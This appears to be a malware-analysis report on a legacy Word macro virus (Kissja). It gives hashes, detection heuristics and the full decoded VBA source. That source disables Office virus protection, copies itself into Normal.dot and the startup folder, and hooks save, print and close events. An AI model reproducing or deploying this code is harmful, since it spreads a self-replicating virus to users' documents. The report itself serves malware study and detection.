Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9d1dc09c5679995…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-08-11 19:05:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-16
MD5: 2871092a77ddb9b48d7d25b7a0effe10 SHA-1: a29048980cec72f3fe7d596d2efb342047d304e5 SHA-256: e9d1dc09c5679995d1ea06c49780e3d78f19142fb745bb3b2b69ef8f80e3c1a0
236 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

This malicious document contains legacy WordBasic macro-virus markers and VBA macros designed to disable Office macro-virus protection and replicate its 'MSWord' module into the Normal template and the active document. The script attempts to save itself as 'MSWord.dot' in the application startup path, indicating an attempt at persistence. The ClamAV detection 'Doc.Trojan.Kissja-1' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Kissja-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kissja-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3002 bytes
SHA-256: c918c372203698c99dabfab88dfcdc7376a1bf05c4e06d6ef74759b1aed1b7d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MSWord"
Public Myself, NormInstall, ActivInstall As Boolean
Private FinalClose As Boolean
Private HoldDoc As String

Sub W97()
On Error Resume Next
Myself = True
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
HoldDoc = ActiveDocument.FullName
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
If (GetAttr(NormalTemplate.FullName) <> vbNormal) Then SetAttr (NormalTemplate.FullName), vbNormal
' Get up, get up Bulgarian superman!!
Application.VBE.ActiveVBProject.VBComponents("MSWord").Export "c:\MSWord.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
'666
If NormalTemplate.VBProject.VBComponents(I).Name = "MSWord" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "MSWord" Then ActivInstall = True
Next I
If NormInstall = False Then NormalTemplate.VBProject.VBComponents.Import ("c:\MSWord.sys")
If ActivInstall = False Then ActiveDocument.VBProject.VBComponents.Import ("c:\MSWord.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'W97.Kissja_Tommy.G (c) 1998 by Vesselin Bontchev
If (GetAttr(Application.StartupPath + "\MSWord.dot") <> vbNormal) Then SetAttr (Application.StartupPath + "\MSWord.dot"), vbNormal
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\MSWord.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If FinalClose = False Then Documents.Open FileName:=HoldDoc
Documents("MSWord.dot").Close
SetAttr (Application.StartupPath + "\MSWord.dot"), vbReadOnly
Application.ScreenUpdating = True
Myself = False
End Sub

Sub AutoOpen()
On Error Resume Next
If Myself = False Then Call W97
End Sub

Sub AutoClose()
On Error Resume Next
FinalClose = True
Call W97
End Sub

Sub AutoExit()
On Error Resume Next
Call W97
End Sub

Sub FileSaveAs()
On Error Resume Next
Call W97
Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub filesave()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub fileclose()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
ActiveDocument.Close
End Sub

Sub fileprint()
On Error Resume Next
Call W97
Dialogs(wdDialogFilePrint).Show
End Sub

Sub ViewVBCode()
On Error Resume Next
Call W97
End Sub

Sub ToolsMacro()
On Error Resume Next
Call W97
End Sub

Sub FileTemplates()
On Error Resume Next
Call W97
End Sub

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